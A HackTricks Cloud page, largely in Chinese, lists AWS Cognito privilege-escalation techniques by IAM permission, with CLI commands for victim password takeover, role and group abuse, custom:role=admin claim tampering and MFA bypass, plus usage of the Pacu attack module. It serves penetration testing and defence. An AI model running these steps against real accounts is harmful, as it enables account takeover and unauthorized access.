AWS - Cognito Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Cognito

For more info about Cognito check:

AWS - Cognito Enum

Gathering credentials from Identity Pool

由于 Cognito 可以向 authenticatedunauthenticated users 授予 IAM role credentials,如果你找到某个应用的 Identity Pool ID(通常被硬编码在应用中),就能获取新的凭证,从而在该 AWS 帐号中实现 privesc(即使你之前可能根本没有任何凭证)。

For more information check this page.

潜在影响: 直接对附加到 unauth users 的 service role 实现 privesc(很可能也包括附加到 auth users 的那个)。

cognito-identity:SetIdentityPoolRoles, iam:PassRole

具有此权限时,你可以 grant any cognito role 给该 cognito 应用的 authenticated/unauthenticated users。

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

If the cognito app doesn’t have unauthenticated users enabled you might need also the permission cognito-identity:UpdateIdentityPool to enable it.

潜在影响: 直接对任何 cognito 角色进行 privesc。

cognito-identity:update-identity-pool

拥有该权限的攻击者可以例如设置一个由其控制的 Cognito User Pool,或任何其他身份提供者,使得当他在该提供者上 login 时,作为访问该 Cognito Identity Pool 的一种方式。然后,只要在该用户提供者上 login,就会允许他访问在 Identity Pool 中配置的 authenticated role

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

也可以 滥用此权限以允许 basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potential Impact: 可能妥协 identity pool 中配置的 authenticated IAM role。

cognito-idp:AdminAddUserToGroup

此权限允许 add a Cognito user to a Cognito group,因此攻击者可以滥用此权限将其控制的用户添加到其他组,从而获得 更高 的权限或 different IAM roles

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

潜在影响: 提权到其他 Cognito 组以及附加到 User Pool Groups 的 IAM 角色。

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

拥有这些权限的攻击者可以 创建/更新组,将 每个可被妥协的 Cognito Identity Provider 使用的 IAM 角色 附加到这些组,并将被妥协的用户加入该组,从而访问所有这些角色:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

潜在影响: Privesc 到其他 Cognito IAM 角色。

cognito-idp:AdminConfirmSignUp

此权限允许验证注册。默认情况下,任何人都可以在 Cognito 应用中注册;如果保持此设置,用户可以使用任意信息创建账户并用此权限进行验证。

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

潜在影响: 如果你可以注册一个新用户,可能会间接对 identity pool IAM role(针对已认证用户)造成 privesc。对能够确认任意账户的其他应用功能也可能造成间接 privesc。

cognito-idp:AdminCreateUser

该权限允许攻击者在 user pool 中创建新用户。新用户会被创建为启用状态,但需要更改密码。

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

潜在影响: 直接 privesc 到 identity pool IAM role(针对认证用户)。间接 privesc 到其他应用功能,使其能够创建任意用户

cognito-idp:AdminEnableUser

此权限在非常边缘的场景中可能有用:当攻击者发现某个被禁用用户的凭证并且需要再次启用该用户时。

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

潜在影响: 间接 privesc 到 identity pool IAM role(针对已认证用户),如果攻击者拥有被禁用用户的凭证,也可能获得该用户的权限。

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

此权限允许使用 method ADMIN_USER_PASSWORD_AUTH. 更多信息请参阅该链接。

cognito-idp:AdminSetUserPassword

此权限将允许攻击者 为任意用户设置已知密码,通常会导致 直接接管账户(尤其是在受害者未启用 MFA,或在相关 auth flow/client 未强制 MFA 的情况下)。

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

常见工作流程:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

相关权限:cognito-idp:AdminResetUserPassword 可用于强制触发受害者的重置流程(影响取决于密码恢复的实现方式以及攻击者能拦截或控制的内容)。

Potential Impact: 任意用户的账户接管;访问应用层权限(组/角色/声明)和任何信任 Cognito 令牌的下游系统;可能访问 Identity Pool 已认证的 IAM 角色。

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings:攻击者可能滥用此权限,将其控制的手机设置为用户的 SMS MFA

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: 与前一个类似,此权限可用于设置用户的 MFA 偏好,从而 bypass MFA 保护。

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: 与上一个类似,此权限可用于设置用户池的 MFA 首选项,以绕过 MFA 保护。

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: 也可以更新 User Pool 来更改 MFA 策略。Check cli here.

Potential Impact: 对于攻击者已知凭证的任何用户来说可能导致间接 privesc,这可能允许绕过 MFA 保护。

cognito-idp:AdminUpdateUserAttributes

拥有此权限的攻击者可以更改 User Pool 用户的任何可变属性(包括 custom:* 属性),以试图在底层应用中获取特权。

一个常见且高影响的模式是使用 自定义属性 实现的 基于声明的 RBAC(例如 custom:role=admin)。如果应用信任该声明,更新它并重新认证就能在不接触应用的情况下绕过授权。

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

示例:升级您自己的 role 并刷新 refresh tokens:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

潜在影响: 在信任 Cognito 属性/声明 进行授权的应用中导致间接 privesc;能够修改其他与安全相关的属性(例如将 email_verifiedphone_number_verified 设为 true 在某些应用中可能产生影响)。

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

拥有此权限的攻击者可以创建一个比现有池客户端限制更少的 User Pool Client。例如,新客户端可能允许任意类型的认证方法、不包含任何 secret、禁用 token revocation、使 tokens 的有效期更长等……

同样的情况也可以通过不创建新客户端而修改现有客户端来实现。

command line(或update one)中可以看到所有选项,去查看!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

潜在影响: 可能通过创建一个新的 client 放宽安全措施,从而使攻击者使用其创建的用户登录,间接对被 User Pool 使用的 Identity Pool 授权用户造成 privesc。

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

攻击者可以滥用此权限,通过上传包含新用户的 csv 来创建用户。

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(在你创建新的 import job 的情况下,你可能还需要 iam passrole permission,我还没测试过。)

Potential Impact: 直接 privesc 到 identity pool IAM role(针对已认证用户)。间接地可能导致对应用其他功能的 privesc,使其能够创建任意用户。

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

攻击者可以创建一个新的 identity provider,从而能够 通过该提供者登录

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potential Impact: 直接提权到 identity pool IAM role(针对已认证用户)。间接提权到其他应用功能,从而能够创建任意用户。

cognito-sync:* 分析

这是在 Cognito Identity Pools 的角色中默认非常常见的权限。即使权限中的通配符看起来总是很糟(尤其来自 AWS),但 给定的权限从攻击者的角度来看并不是非常有用

此权限允许读取 Identity Pools 的使用信息以及 Identity Pools 内的 Identity IDs(这不是敏感信息)。
Identity IDs 可能会被分配 Datasets,它们是会话的信息(AWS 将其定义为 saved game)。这些内容可能包含某种敏感信息(但概率很低)。你可以在 enumeration page 找到如何访问这些信息。

攻击者也可以利用这些权限 订阅一个 Cognito stream 来发布这些 datasets 的变更,或利用 触发于 cognito events 的 lambda。我还没见过有人利用这个,我也不期望这里有敏感信息,但这并非不可能。

Automatic Tools

  • Pacu, the AWS exploitation framework, now includes the “cognito__enum” and “cognito__attack” modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

For a description of the modules’ functions see part 2 of the blog post. For installation instructions see the main Pacu page.

Usage

示例 cognito__attack 用法,用于尝试对给定的 identity pool 和 user pool client 执行用户创建以及所有提权向量:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

示例 cognito__enum 用法,用于收集当前 AWS 账户中可见的所有 user pools、user pool clients、identity pools、users 等:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner 是一个 CLI 工具,用 python 实现了对 Cognito 的多种攻击,包括 privesc escalation。

安装

$ pip install cognito-scanner

用法

$ cognito-scanner --help

有关更多信息,请查看 https://github.com/padok-team/cognito-scanner

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks